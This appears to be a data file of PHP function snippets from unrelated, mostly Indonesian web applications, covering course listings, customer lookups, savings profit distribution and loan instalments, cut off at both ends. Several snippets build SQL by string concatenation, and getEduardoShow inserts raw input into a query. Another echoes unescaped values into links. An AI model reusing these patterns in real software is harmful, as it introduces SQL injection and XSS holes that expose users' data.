\"<pre>\";\n\t\t\tprint_r($key);\n\t\t\techo \"<pre>\";*/\n\n\t\t\t$api_url \t= URL_API_BKD.'bkd_beban_kerja/get_kd_kat';\n\t\t\t$parameter \t= array('api_search'=>array($kd_bk));\n\t\t\t$kd_kat = $this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\n\t\t\t//cek di tabel konversi apakah kd_kat memiliki kd_kat remun\n\t\t\t$api_url \t= URL_API_BKD.'bkd_beban_kerja/cek_kd_konversi';\n\t\t\t$parameter \t= array('api_search'=>array($kd_kat));\n\t\t\t$data['konversi'][$kd_kat] = $this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\t\t}\n\n\t\t// echo '<pre>';\n\t\t// print_r($data['data_beban']);\n\t\t// echo '</pre>';\n\n\t\t// die();\n\n\t\t/*die();*/\n\t\t/*\n\n\t\tdie();*/\n\t\t#print_r($data['data_beban']);\n\t\t# load view\n\n\t\t/*mekanisme cek data asesor, untuk melihat apakah dosen sudah mengisi data asesor atau belum*/\n\t\t$data['nira'] = $this->get_data_asesor_dosen_by_nip();\n\t\t\n\t\t$this->cek_nira_asesor_dosen_uin();\n\t\t$this->auto_insert_penelitian();\n\n\t\t/*$this->auto_insert_pengabdian();*/ /*SUDAH BISA INSERT TINGGAL TUNGGU KEPUTUSAN DATA PENGABDIAN*/\n\n\t\t$this->output99->output_display('dosen/daftar_beban_kerja',$data);\n\t}",
"public function data_mata_kuliah()\n\t{\n\t\t$query1 = \"SELECT t_mk.kode_mk,t_mk.nama_mk,t_mk.jumlah_sks\t,t_mk.sks_teori,t_mk.sks_praktek,t_mk.semester,t_mk.pengisian_nilai,t_mk.status,t_mk.flag,t_mk.id_mk_prasarat,t_mk.id_mk_prak,t_mk.is_pratikum,t_mk.id_mk,t_prodi.id_prodi,t_prodi.prodi FROM t_mk INNER JOIN t_prodi ON t_mk.id_prodi=t_prodi.id_prodi WHERE semester = '1' AND prodi = 'Analisis Kimia'\";\n\t\t$query2 = \"SELECT t_mk.kode_mk,t_mk.nama_mk,t_mk.jumlah_sks\t,t_mk.sks_teori,t_mk.sks_praktek,t_mk.semester,t_mk.pengisian_nilai,t_mk.status,t_mk.flag,t_mk.id_mk_prasarat,t_mk.id_mk_prak,t_mk.is_pratikum,t_mk.id_mk,t_prodi.id_prodi,t_prodi.prodi FROM t_mk INNER JOIN t_prodi ON t_mk.id_prodi=t_prodi.id_prodi WHERE semester = '1' AND prodi = 'Penjaminan Mutu Industri Pangan'\";\n\t\t$query3 = \"SELECT t_mk.kode_mk,t_mk.nama_mk,t_mk.jumlah_sks\t,t_mk.sks_teori,t_mk.sks_praktek,t_mk.semester,t_mk.pengisian_nilai,t_mk.status,t_mk.flag,t_mk.id_mk_prasarat,t_mk.id_mk_prak,t_mk.is_pratikum,t_mk.id_mk,t_prodi.id_prodi,t_prodi.prodi FROM t_mk INNER JOIN t_prodi ON t_mk.id_prodi=t_prodi.id_prodi WHERE semester = '1' AND prodi = 'Pengolahan Limbah Industri'\";\n\t\t$query4 = \"SELECT t_mk.kode_mk,t_mk.nama_mk,t_mk.jumlah_sks\t,t_mk.sks_teori,t_mk.sks_praktek,t_mk.semester,t_mk.pengisian_nilai,t_mk.status,t_mk.flag,t_mk.id_mk_prasarat,t_mk.id_mk_prak,t_mk.is_pratikum,t_mk.id_mk,t_prodi.id_prodi,t_prodi.prodi FROM t_mk INNER JOIN t_prodi ON t_mk.id_prodi=t_prodi.id_prodi WHERE semester = '2' AND prodi = 'Analisis Kimia'\";\n\t\t$query5 = \"SELECT t_mk.kode_mk,t_mk.nama_mk,t_mk.jumlah_sks\t,t_mk.sks_teori,t_mk.sks_praktek,t_mk.semester,t_mk.pengisian_nilai,t_mk.status,t_mk.flag,t_mk.id_mk_prasarat,t_mk.id_mk_prak,t_mk.is_pratikum,t_mk.id_mk,t_prodi.id_prodi,t_prodi.prodi FROM t_mk INNER JOIN t_prodi ON t_mk.id_prodi=t_prodi.id_prodi WHERE semester = '2' AND prodi = 'Penjaminan Mutu Industri Pangan'\";\n\t\t$query6 = \"SELECT t_mk.kode_mk,t_mk.nama_mk,t_mk.jumlah_sks\t,t_mk.sks_teori,t_mk.sks_praktek,t_mk.semester,t_mk.pengisian_nilai,t_mk.status,t_mk.flag,t_mk.id_mk_prasarat,t_mk.id_mk_prak,t_mk.is_pratikum,t_mk.id_mk,t_prodi.id_prodi,t_prodi.prodi FROM t_mk INNER JOIN t_prodi ON t_mk.id_prodi=t_prodi.id_prodi WHERE semester = '2' AND prodi = 'Pengolahan Limbah Industri'\";\n\t\t$data['semester1A'] = $this->m_aka->query_aka($query1);\n\t\t$data['semester2A'] = $this->m_aka->query_aka($query4);\n\t\t$data['semester1B'] = $this->m_aka->query_aka($query2);\n\t\t$data['semester2B'] = $this->m_aka->query_aka($query5);\n\t\t$data['semester1C'] = $this->m_aka->query_aka($query3);\n\t\t$data['semester2C'] = $this->m_aka->query_aka($query6);\n\t\t$data['data'] = $this->m_aka->data_mata_kuliah(); \n\t\t$data['pagination'] = $this->pagination->create_links();\n\t\t$data['content'] = 'mata_kuliah/data_mata_kuliah';\n\t\t$this->load->view('content', $data);\n\t}",
"public function get_pembeli_darat() {\r\n $nama = $this->input->get('term'); //variabel kunci yang di bawa dari input text id kode\r\n $tipe = \"darat\";\r\n $query = $this->master->get_pembeli($tipe,$nama); //query model\r\n\r\n if($query == TRUE){\r\n $pelanggan = array();\r\n foreach ($query as $data) {\r\n $pelanggan[] = array(\r\n 'label' => $data->nama_pengguna_jasa, //variabel array yg dibawa ke label ketikan kunci\r\n 'id' => $data->id_pengguna_jasa,\r\n 'nama' => $data->nama_pengguna_jasa , //variabel yg dibawa ke id nama\r\n 'alamat' => $data->alamat, //variabel yang dibawa ke id alamat\r\n 'no_telp' => $data->no_telp, //variabel yang dibawa ke id no telp\r\n 'pengguna'=> $data->pengguna_jasa_id_tarif, //variabel yang dibawa ke id pengguna jasa\r\n );\r\n }\r\n }\r\n\r\n echo json_encode($pelanggan); //data array yang telah kota deklarasikan dibawa menggunakan json\r\n }",
"function budynekKoncowy(){\r\n\t\t$this->retriveDataRow();\r\n\t\treturn $this->data['id_budynku_koncowego'];\r\n\t}",
"public function data_kbaak()\n\t{\n\t\t$data['data'] = $this->m_aka->data_kbaak(); \n\t\t//$data['pagination'] = $this->pagination->create_links();\n\t\t$data['content'] = 'kbaak/data_kbaak';\n\t\t$this->load->view('content', $data);\n\t}",
"public function simpanDataFinstansi($post){\n\t\t$connection \t= $this->db;\n\t\t$kd_jns\t\t\t= htmlspecialchars($post['m1_jenis'], ENT_QUOTES);\n\t\t$kode_instansi\t= htmlspecialchars($post['m1_instansi'], ENT_QUOTES);\n\t\t$desc_instansi\t= htmlspecialchars($post['m1_deskripsi'], ENT_QUOTES);\n\t\t$isNewRecord\t= htmlspecialchars($post['isNewRecord'], ENT_QUOTES);\n\t\tif($kode_instansi == \"\" || $desc_instansi == \"\"){\n\t\t\treturn array(\"hasil\"=>false, \"error\"=>\"* Kode dan deskripsi instansi harus diisi\");\n\t\t} else{\n\t\t\tif($isNewRecord){\n\t\t\t\t$sqlCek\t= \"select count(*) as jumlah from datun.instansi where kode_jenis_instansi = '\".$kd_jns.\"' and kode_instansi = '\".$kode_instansi.\"' \n\t\t\t\t\t\t\tand kode_tk = '\".$_SESSION[\"kode_tk\"].\"'\";\n\t\t\t\t$jumlah = $connection->createCommand($sqlCek)->queryScalar();\n\t\t\t\tif($jumlah > 0){\n\t\t\t\t\treturn array(\"hasil\"=>false, \"error\"=>\"* Maaf, kode instansi sudah ada\");\n\t\t\t\t} else{\n\t\t\t\t\t$sql \t= \"insert into datun.instansi values('\".$kd_jns.\"', '\".$kode_instansi.\"', '\".$desc_instansi.\"', '\".$_SESSION['kode_tk'].\"')\";\n\t\t\t\t\t$hasil \t= $connection->createCommand($sql)->execute();\n\t\t\t\t\treturn array(\"hasil\"=>$hasil, \"error\"=>\"Maaf, data gagal disimpan\");\n\t\t\t\t}\n\t\t\t} else{\n\t\t\t\t$sql \t= \"update datun.instansi set deskripsi_instansi = '\".$desc_instansi.\"' where kode_jenis_instansi = '\".$kd_jns.\"' and kode_instansi = '\".$kode_instansi.\"' \n\t\t\t\t\t\t\tand kode_tk = '\".$_SESSION['kode_tk'].\"'\";\n\t\t\t\t$hasil \t= $connection->createCommand($sql)->execute();\n\t\t\t\treturn array(\"hasil\"=>$hasil, \"error\"=>\"* Maaf, data gagal disimpan\");\n\t\t\t}\n\t\t}\n\t}",
"public function getDistribusiData()\n {\n $pendapatan = $this->getRekeningPendapatan();\n $rekening_tabungan = $this->getRekening(\"TABUNGAN\");\n $rekening_deposito = $this->getRekening(\"DEPOSITO\");\n \n $data_rekening = array();\n $total_rata_rata = array();\n\n\n foreach($rekening_tabungan as $tab)\n {\n $rata_rata_product_tabungan = 0.0;\n $tabungan = $this->tabunganReporsitory->getTabungan($tab->nama_rekening);\n foreach($tabungan as $user_tabungan) {\n $temporarySaldo = $this->getSaldoAverageTabunganAnggota($user_tabungan->id_user, $user_tabungan->id);\n $rata_rata_product_tabungan = $rata_rata_product_tabungan + $temporarySaldo;\n }\n Session::put($user_tabungan->jenis_tabungan, $rata_rata_product_tabungan);\n array_push($total_rata_rata, $rata_rata_product_tabungan);\n }\n\n foreach($rekening_deposito as $dep)\n {\n $rata_rata_product_deposito = 0.0;\n $deposito = $this->depositoReporsitory->getDepositoDistribusi($dep->nama_rekening);\n foreach($deposito as $user_deposito) {\n if ($user_deposito->type == 'jatuhtempo'){\n $tanggal = $user_deposito->tempo;\n }\n else if($user_deposito->type == 'pencairanawal')\n {\n $tanggal = $user_deposito->tanggal_pencairan;\n }\n else if($user_deposito->type == 'active')\n {\n $tanggal = Carbon::parse('first day of January 1970');\n }\n $temporarySaldo = $this->getSaldoAverageDepositoAnggota($user_deposito->id_user, $user_deposito->id, $tanggal);\n $rata_rata_product_deposito = $rata_rata_product_deposito + $temporarySaldo ;\n }\n Session::put($dep->nama_rekening, $rata_rata_product_deposito);\n array_push($total_rata_rata, $rata_rata_product_deposito);\n }\n\n $total_rata_rata = $this->getTotalProductAverage($total_rata_rata);\n Session::put(\"total_rata_rata\", $total_rata_rata);\n $total_pendapatan = $this->getRekeningPendapatan(\"saldo\");\n $total_pendapatan_product = 0;\n\n $total_porsi_anggota = 0;\n $total_porsi_bmt = 0;\n\n\n foreach($rekening_tabungan as $tab)\n {\n $rata_rata = Session::get($tab->nama_rekening);\n $nisbah_anggota = json_decode($tab->detail)->nisbah_anggota;\n $nisbah_bmt = 100 - json_decode($tab->detail)->nisbah_anggota;\n $pendapatan_product = $this->getPendapatanProduk($rata_rata, $total_rata_rata, $total_pendapatan);\n\n $total_porsi_anggota += $this->getPorsiPendapatanProduct($nisbah_anggota, $pendapatan_product);\n $total_porsi_bmt += $this->getPorsiPendapatanProduct($nisbah_bmt, $pendapatan_product);\n\n }\n\n foreach($rekening_deposito as $dep)\n {\n $rata_rata = Session::get($dep->nama_rekening);\n $nisbah_anggota = json_decode($dep->detail)->nisbah_anggota;\n $nisbah_bmt = 100 - json_decode($dep->detail)->nisbah_anggota;\n $pendapatan_product = $this->getPendapatanProduk($rata_rata, $total_rata_rata, $total_pendapatan);\n\n $total_porsi_anggota += $this->getPorsiPendapatanProduct($nisbah_anggota, $pendapatan_product);\n $total_porsi_bmt += $this->getPorsiPendapatanProduct($nisbah_bmt, $pendapatan_product);\n }\n\n $shuBerjalan = BMT::where('nama', 'SHU BERJALAN')->select('saldo')->first();\n $selisihBMTAnggota = $shuBerjalan->saldo - $total_porsi_anggota;\n\n\n foreach($rekening_tabungan as $tab)\n {\n $tabungan = $this->tabunganReporsitory->getTabungan($tab->nama_rekening);\n $rata_rata = Session::get($tab->nama_rekening);\n $nisbah_anggota = json_decode($tab->detail)->nisbah_anggota;\n $nisbah_bmt = 100 - json_decode($tab->detail)->nisbah_anggota;\n $pendapatan_product = $this->getPendapatanProduk($rata_rata, $total_rata_rata, $total_pendapatan);\n\n $total_pendapatan_product += $pendapatan_product;\n\n if ($total_porsi_bmt == 0)\n {\n $porsi_bmt = 0;\n }\n else\n {\n// $porsi_bmt = $this->getPorsiPendapatanProduct($nisbah_bmt, $pendapatan_product) / $total_porsi_bmt * $selisihBMTAnggota;\n $porsi_bmt = $this->getPorsiPendapatanProduct($nisbah_bmt, $pendapatan_product);\n\n }\n\n array_push($data_rekening, [ \n \"jenis_rekening\" => $tab->nama_rekening,\n \"jumlah\" => count($tabungan),\n \"rata_rata\" => $rata_rata,\n \"nisbah_anggota\" => $nisbah_anggota,\n \"nisbah_bmt\" => $nisbah_bmt,\n \"total_rata_rata\" => $total_rata_rata,\n \"total_pendapatan\" => $total_pendapatan,\n \"pendapatan_product\" => $pendapatan_product,\n \"porsi_anggota\" => $this->getPorsiPendapatanProduct($nisbah_anggota, $pendapatan_product),\n \"porsi_bmt\" => $porsi_bmt,\n \"percentage_anggota\" => $total_pendapatan > 0 ?$this->getPorsiPendapatanProduct($nisbah_anggota, $pendapatan_product) / $total_pendapatan : 0\n ]);\n }\n\n foreach($rekening_deposito as $dep)\n {\n $deposito = $this->depositoReporsitory->getDepositoDistribusi($dep->nama_rekening);\n $rata_rata = Session::get($dep->nama_rekening);\n $nisbah_anggota = json_decode($dep->detail)->nisbah_anggota;\n $nisbah_bmt = 100 - json_decode($dep->detail)->nisbah_anggota;\n $pendapatan_product = $this->getPendapatanProduk($rata_rata, $total_rata_rata, $total_pendapatan);\n\n $total_pendapatan_product += $pendapatan_product;\n if ($total_porsi_bmt == 0)\n {\n $porsi_bmt = 0;\n }\n else\n {\n// $porsi_bmt = $this->getPorsiPendapatanProduct($nisbah_bmt, $pendapatan_product) / $total_porsi_bmt * $selisihBMTAnggota;\n $porsi_bmt = $this->getPorsiPendapatanProduct($nisbah_bmt, $pendapatan_product);\n\n }\n array_push($data_rekening, [\n \"jenis_rekening\" => $dep->nama_rekening,\n \"jumlah\" => count($deposito),\n \"rata_rata\" => $rata_rata,\n \"nisbah_anggota\" => $nisbah_anggota,\n \"nisbah_bmt\" => $nisbah_bmt,\n \"total_rata_rata\" => $total_rata_rata,\n \"total_pendapatan\" => $total_pendapatan,\n \"pendapatan_product\" => $pendapatan_product,\n \"porsi_anggota\" => $this->getPorsiPendapatanProduct($nisbah_anggota, $pendapatan_product),\n \"porsi_bmt\" => $porsi_bmt\n ]);\n }\n\n return $data_rekening;\n }",
"function select_tb_penduduk(){\n\t\t$this->load->model('mamdani');\n\t\t//$klasifikasi['klasifikasi']=$this->mamdani->getdata();\n\t\t$klasifikasi['jumlah_aset']=$this->mamdani->jumlah_aset();\n\t\t$klasifikasi['tingkat']= $this->mamdani->klasifikasi3();\n\n\t\t$this->load->view('templates/header');\n\t\t$this->load->view('admin/lihatdata/tabel_klasifikasi_penduduk',$klasifikasi);\n\t\t$this->load->view('templates/footer');\n\t\t// var_dump($jml_aset);\n\t\t// die;\n\n\t}",
"public function getTableAcara(){\r\r\n\t\t$key = 1;\r\r\n\t\tif($this->input->post(\"key\")!==NULL){\r\r\n\t\t\t$key = intval($this->input->post(\"key\"));\r\r\n\t\t\tif($key < 0) $key = 1;\r\r\n\t\t}\r\r\n\t\t$s=true;\r\r\n\t\t$string = \"<h4>Informasi Acara</h4><div class='well'>Data Tidak ditemukan</div>\";\r\r\n\t\t$n = 1;\r\r\n\t\t$z = 1;\r\r\n\t\t$koko = 0;\r\r\n\t\t$this->loadLib('ControlEvent');\r\r\n\t\t$tempKejadian = (new ControlEvent($this->gateControlModel))->getAllData();\r\r\n\t\tif($tempKejadian){\r\r\n\t\t\twhile($tempKejadian->getNextCursor()){\r\r\n\t\t\t\tif($n <= 5 && $z == $key){\r\r\n\t\t\t\t\tif($s){\r\r\n\t\t\t\t\t\t$string = \"<h4>Informasi Acara</h4>\";\r\r\n\t\t\t\t\t\t$s = false;\t\r\r\n\t\t\t\t\t}\t\t\t\r\r\n\t\t\t\t\tif($tempKejadian->getKode() == '1'){\t\r\r\n\t\t\t\t\t\t$string .= \"<div class='well'>\";\r\r\n\t\t\t\t\t\t$string .= $tempKejadian->getJudul().\"<br>\".$tempKejadian->getIsi();\r\r\n\t\t\t\t\t\t//$string .= $tempKejadian->getJudul().\"<br>\".$tempKejadian->getIsi().\" Pada tahun ajaran \".substr($tempKejadian->getTahunAk(),0,strlen($tempKejadian->getTahunAk())-1).\"-\".(intval(substr($tempKejadian->getTahunAk(),0,strlen($tempKejadian->getTahunAk())-1))+1).\" Semester \".$tempKejadian->getTahunAk()[4].\" dimulai pada tanggal \".$tempKejadian->getMulai().\" hingga tanggal \".$tempKejadian->getBerakhir();\r\r\n\t\t\t\t\t\t$string .= \"</div>\";\t\r\r\n\t\t\t\t\t}else{\r\r\n\t\t\t\t\t\t$string .= \"<div class='well'>\";\r\r\n\t\t\t\t\t\t$string .= $tempKejadian->getJudul().\"<br>\".$tempKejadian->getIsi();\r\r\n\t\t\t\t\t\t$string .= \"</div>\";\r\r\n\t\t\t\t\t}\r\r\n\t\t\t\t\t$koko ++;\r\r\n\t\t\t\t\t$n++;\r\r\n\t\t\t\t}else if($n == 5 && $z < $key){\r\r\n\t\t\t\t\t$n = 1;\r\r\n\t\t\t\t\t$z++;\r\r\n\t\t\t\t}else{\r\r\n\t\t\t\t\t$n++;\r\r\n\t\t\t\t}\r\r\n\t\t\t}\r\r\n\t\t}\r\r\n\t\techo \"1\".$string;\r\r\n\t\tif($key == 1){\r\r\n\t\t\tif($koko == 5)\r\r\n\t\t\t\techo '<div class=\"dataTables_paginate paging_two_button\">\r\r\n\t\t\t\t\t\t<a class=\"paginate_disabled_previous\" tabindex=\"0\" role=\"button\" aria-controls=\"DataTables_Table_0\"> Sebelumnya </a>\r\r\n\t\t\t\t\t\t<a class=\"paginate_enabled_next\" tabindex=\"0\" role=\"button\" aria-controls=\"DataTables_Table_0\" onclick=\"nextPageBerandaBase();\"> Sesudahnya </a>\r\r\n\t\t\t\t\t</div>';\r\r\n\t\t\telse\r\r\n\t\t\t\techo '<div class=\"dataTables_paginate paging_two_button\">\r\r\n\t\t\t\t\t\t<a class=\"paginate_disabled_previous\" tabindex=\"0\" role=\"button\" aria-controls=\"DataTables_Table_0\"> Sebelumnya </a>\r\r\n\t\t\t\t\t\t<a class=\"paginate_disabled_next\" tabindex=\"0\" role=\"button\" aria-controls=\"DataTables_Table_0\"> Sesudahnya </a>\r\r\n\t\t\t\t\t</div>';\r\r\n\t\t}else{\r\r\n\t\t\tif($koko == 5)\r\r\n\t\t\t\techo '<div class=\"dataTables_paginate paging_two_button\">\r\r\n\t\t\t\t\t\t<a class=\"paginate_enabled_previous\" tabindex=\"0\" role=\"button\" aria-controls=\"DataTables_Table_0\" onclick=\"previousPageBerandaBase();\"> Sebelumnya </a>\r\r\n\t\t\t\t\t\t<a class=\"paginate_enabled_next\" tabindex=\"0\" role=\"button\" aria-controls=\"DataTables_Table_0\" onclick=\"nextPageBerandaBase();\"> Sesudahnya </a>\r\r\n\t\t\t\t\t</div>';\r\r\n\t\t\telse\r\r\n\t\t\t\techo '<div class=\"dataTables_paginate paging_two_button\">\r\r\n\t\t\t\t\t\t<a class=\"paginate_enabled_previous\" tabindex=\"0\" role=\"button\" aria-controls=\"DataTables_Table_0\" onclick=\"previousPageBerandaBase();\"> Sebelumnya </a>\r\r\n\t\t\t\t\t\t<a class=\"paginate_disabled_next\" tabindex=\"0\" role=\"button\" aria-controls=\"DataTables_Table_0\"> Sesudahnya </a>\r\r\n\t\t\t\t\t</div>';\r\r\n\t\t}\r\r\n\t\t\r\r\n\t}",
"function einstellungen_data ()\n\t{\n\t\t$sql = sprintf(\"SELECT * FROM %s WHERE bgalset_id='1'\",\n\t\t\t$this->db_praefix.\"ecard_einstellungen\"\n\t\t);\n\t\t$temp_return = $this->db->get_row($sql, ARRAY_A);\n\t\treturn $temp_return;\n\t}",
"function _get_data()\r\n {\r\n $model_dangtin =& m('qldangtin');\r\n $dangtin = $model_dangtin->find(array(\r\n 'limit' => 4,\r\n\t 'count' => true,\r\n\t 'order' => 'thoigianup DESC',\r\n ));\r\n $this->assign('dangtin', $dangtin);\t\r\n // var_dump($dangtin);\r\n //Tin khuyen mai\r\n $value='1';\r\n $model_dangtin =& m('qldangtin');\r\n $khuyenmai = $model_dangtin->find(array(\r\n 'limit' => 4,\r\n\t 'count' => true,\r\n\t 'order' => 'thoigianup DESC',\r\n\t\t'conditions' => 'khuyenmai ='.$value,\r\n ));\r\n $this->assign('khuyenmai', $khuyenmai);\r\n // var_dump($khuyenmai);\r\n //san pham moi\r\n $model_sanpham =& m('goods');\r\n $sanpham = $model_sanpham->find(array(\r\n 'limit' => 4,\r\n\t 'count' => true,\r\n\t 'order' => 'add_time DESC',\r\n ));\r\n $this->assign('sanpham', $sanpham);\r\n\r\n \r\n }",
"public function data_jadwal_kuliah()\n\t{\n\t\t$data['data'] = $this->m_aka->data_jadwal_kuliah(); \n\t\t$data['pagination'] = $this->pagination->create_links();\n\t\t$data['content'] = 'mata_kuliah/data_jadwal_kuliah';\n\t\t$this->load->view('content', $data);\n\t}",
"public function readDataPerbaikanBelum(){\n $sql = \"SELECT c.tanggal,c.nomor,c.no_inventaris,c.nama_user,b.cost_center,c.no_ex,GROUP_CONCAT(e.pekerjaan SEPARATOR '<br>') as pekerjaan FROM entri c,perbaikan e,kendaraan a,user b WHERE c.nomor = e.id_entri AND a.no_inventaris = c.no_inventaris AND c.id_status = 1 AND b.id_user = a.id_user GROUP BY c.nomor ORDER BY c.tanggal DESC\";\n $query = $this->db->query($sql);\n return $query;\n }",
"function PerbaharuiDataBahanBaku() {\n\tinclude '../../koneksi/index.php';\n\n\t//inisialisasi\n\t$kode = strtoupper($_POST['kode']);\n\t$nama = strtoupper($_POST['nama']);\n\t$harga_beli = $_POST['harga_beli'];\n\t$harga_jual = $_POST['harga_jual'];\n\t$stok = $_POST['stok'];\n\t$id = $_POST['id'];\n\n\t//update\n\t$sql = \"UPDATE bahan_baku SET kode = ?, nama = ?, harga_beli = ?, harga_jual = ?, stok = ? WHERE id = ?\";\n\t$stmt = $db->prepare($sql);\n\t$stmt->bind_param('ssiiii', $kode, $nama, $harga_beli, $harga_jual, $stok, $id);\n\tif ($stmt->execute()) {\n\t\t$_SESSION['status_operasi_bahan_baku'] = \"berhasil_memperbaharui\";\n\t} else {\n\t\t$_SESSION['status_operasi_bahan_baku'] = \"gagal_memperbaharui\";\n\t}\n\t$stmt->close();\n}",
"public function tampil_data_blok()\n {\n \t$this->db->from('blok as b');\n \t$this->db->join('kawasan as k', 'k.id_kawasan = b.id_kawasan', 'inner');\n\n \treturn $this->db->get();\n }",
"function tampil_data($koneksi){\n\t$sql = \"SELECT * FROM desa LEFT JOIN kecamatan ON desa.id_kecamatan = kecamatan.id_kecamatan\";\n\t$query = mysqli_query($koneksi, $sql);\n\t$nomor = 1;\n\t\n\t\techo \"<fieldset>\";\n\t\techo \"<div class='table-responsive'>\";\n\t\techo \"<table class='table table-responsive-sm table-bordered table-hover' id='desa' border='1' cellpadding='10'>\";\n\t\techo \"<thead>\";\n\t\t\techo \"<tr>\";\n\t\t\techo \"<th>No</th>\n\t\t\t\t<th>No. Berkas</th>\n\t\t\t\t<th>NUB</th>\n\t\t\t\t<th>Nama Pemohon</th>\n\t\t\t\t<th>NIK</th>\n\t\t\t\t<th>No. Alas Hak</th>\n\t\t\t\t<th>Tanggal Alas Hak</th>\n\t\t\t\t<th>Luas Pengukuran</th>\n\t\t\t\t<th>Luas Yang Dimohon</th>\n\t\t\t\t<th>Klaster</th>\n\t\t\t\t<th>No. HP</th>\n\t\t\t\t<th>Status Surat</th>\n\t\t\t\t<th>Lihat</th>\";\t\n\t\t\techo \"</tr>\";\n\t\techo \"</thead>\";\n\t\techo \"<tbody>\";\n\twhile($data = mysqli_fetch_array($query)){\n\t\t?>\n\t\t\t<tr>\n\t\t\t\t<td><!-- <?= $nomor++; ?> -->.</td>\n\t\t\t\t<td><!-- <?php echo $data['kode_desa']; ?> -->x</td>\n\t\t\t\t<td><!-- <?php echo $data['nama_desa']; ?> -->x</td>\n\t\t\t\t<td><!-- <?php echo $data['nama_kecamatan']; ?> -->x</td>\n\t\t\t\t<td><!-- <?php echo $data['reje_kampung']; ?> -->x</td>\n\t\t\t\t<td><!-- <?php echo $data['nama_camat']; ?> -->x</td>\n\t\t\t\t<td><!-- <?php echo $data['nip']; ?> -->x</td>\n\t\t\t\t<td><!-- <?php echo $data['reje_kampung']; ?> -->x</td>\n\t\t\t\t<td><!-- <?php echo $data['nama_camat']; ?> -->x</td>\n\t\t\t\t<td><!-- <?php echo $data['nip']; ?> -->x</td>\n\t\t\t\t<td><!-- <?php echo $data['nama_kecamatan']; ?> -->x</td>\n\t\t\t\t<td><!-- <?php echo $data['reje_kampung']; ?> -->x</td>\n\t\t\t\t<td>\n\t\t\t\t\t<a href=\"index.php?aksi=update&id=<?php echo $data['id_desa']; ?>&kode_desa=<?php echo $data['kode_desa']; ?>&nama_desa=<?php echo $data['nama_desa']; ?>&kecamatan=<?php echo $data['nama_kecamatan']; ?>&kabupaten=<?php echo $data['kabupaten']; ?>&reje_kampung=<?php echo $data['reje_kampung']; ?>&nama_camat=<?php echo $data['nama_camat']; ?>&nip=<?php echo $data['nip']; ?>&alamat=<?php echo $data['alamat']; ?>&kode_pos=<?php echo $data['kode_pos']; ?>\">Lihat</a><!-- |\n\t\t\t\t\t<a href=\"index.php?aksi=delete&id=<?php echo $data['id']; ?>\">Hapus</a> -->\n\t\t\t\t</td>\n\t\t\t</tr>\n\t\t<?php\n\t}\n\techo \"</tbody>\";\n\techo \"</table>\";\n\techo \"</fieldset>\";\n\techo \"</br>\";\n\techo \"</br>\";\n\techo \"</br>\";\n}",
"public function getEduardoShow($data)\n {\n $sql = \"SELECT * FROM \".$this->tabla.\" WHERE id=\".$data->data;\n $tmp=$this->executeQuery($sql);\n $tablas['datos'] = $tmp[0];\n $tablas['error'] = 0;\n return $tablas;\n }",
"public function verifikasi_pendebetan_angsuran_pembiayaan_koptel()\n\t{\n\t\t$debug = false; // debug non aktif\n\t\t$nik = $this->input->post('nik');\n\t\t$filename = $this->input->post('filename');\n\t\t$akun = $this->input->post('akun');\n\t\t$referensi = $this->input->post('referensi');\n\t\t$seq = $this->input->post('seq');\n\t\t$angsuran_id = $filename;\n\t\tdate_default_timezone_set('Asia/Jakarta');\n\t\t$trx_date = $this->datepicker_convert(true,$this->input->post('trx_date'),'/');\n\t\t$ins_data = array();\n\t\t$ins_data_trx = array();\n\n\t\t$this->db->trans_begin();\n\n\t\t/* get angsuran */\n\t\t$angsurans = $this->model_transaction->get_angsuran_temp_by_id($angsuran_id);\n\t\tfor ($i = 0 ;$i < count($angsurans) ; $i++)\n\t\t{\n\t\t\t$angsuran = $angsurans[$i];\n\t\t\t$a_account_financing_no = $angsuran['account_financing_no'];\n\t\t\t$a_jumlah_angsuran = $angsuran['pokok']+$angsuran['margin'];\n\n\t\t\t$data_financing = $this->model_transaction->get_account_financing_by_account($a_account_financing_no,$a_jumlah_angsuran);\n\t\t\tif ($angsuran['pokok'] > 0 || $angsuran['margin']>0)\n\t\t\t{\n\t\t\t\t$b_account_financing_no = $angsuran['account_financing_no'];\n\t\t\t\t$b_angsuran_pokok = $angsuran['pokok'];\n\t\t\t\t$b_angsuran_margin = $angsuran['margin'];\n\t\t\t\t$b_jtempo_angsuran_last = $data_financing['jto_last'];\n\t\t\t\t$b_jtempo_angsuran_next = $data_financing['jto_next'];\n\t\t\t\t$b_jangka_waktu = $data_financing['jangka_waktu'];\n\t\t\t\t$b_counter_angsuran = $data_financing['counter_angsuran'];\n\t\t\t\t$b_saldo_pokok = $data_financing['saldo_pokok'];\n\t\t\t\t$b_saldo_margin = $data_financing['saldo_margin'];\n\t\t\t\t$b_flag_jadwal_angsuran = $data_financing['flag_jadwal_angsuran'];\n\t\t\t\t$b_periode_jangka_waktu = $data_financing['periode_jangka_waktu'];\n\t\t\t\t$b_tanggal_jtempo = $data_financing['tanggal_jtempo'];\n\n\t\t\t\t// generate uuid for history\n\t \t\t$b_trx_detail_id = uuid(false);\n\t\t \t$b_trx_account_financing_id = uuid(false);\n\n\t\t \t// new declare\n\t\t\t\t$b_jumlah_angsuran = $b_angsuran_pokok+$b_angsuran_margin;\n\t\t\t\t// $b_new_counter_angsuran = $b_counter_angsuran+1;\n\t\t\t\t$b_new_counter_angsuran = $b_counter_angsuran;\n\t\t\t\t$b_trx_type = 3;\n\t\t\t\t$b_trx_account_type = 1;\n\t\t\t\t$is_pelunasan = false;\n\t\t\t\t$jtempo_angsuran_next = $b_jtempo_angsuran_next;\n\n\t\t\t\tif ($b_flag_jadwal_angsuran==1) {\n\t\t\t\t\tif($b_periode_jangka_waktu==0){\n\t\t\t\t\t\t$jtempo_angsuran_next = date(\"Y-m-d\",strtotime($jtempo_angsuran_next.' +1 days'));\n\t\t\t\t\t}else if($b_periode_jangka_waktu==1){\n\t\t\t\t\t\t$jtempo_angsuran_next = date(\"Y-m-d\",strtotime($jtempo_angsuran_next.' +1 weeks'));\n\t\t\t\t\t}else if($b_periode_jangka_waktu==2){\n\t\t\t\t\t\t$jtempo_angsuran_next = date(\"Y-m-d\",strtotime($jtempo_angsuran_next.' +1 month'));\n\t\t\t\t\t}\n\t\t\t\t\tif($b_jangka_waktu==$b_new_counter_angsuran) {\n\t\t\t\t\t\t$jtempo_angsuran_next = $b_tanggal_jtempo;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tif($b_jangka_waktu==$b_new_counter_angsuran) {\n\t\t\t\t\t\t$jtempo_angsuran_next = 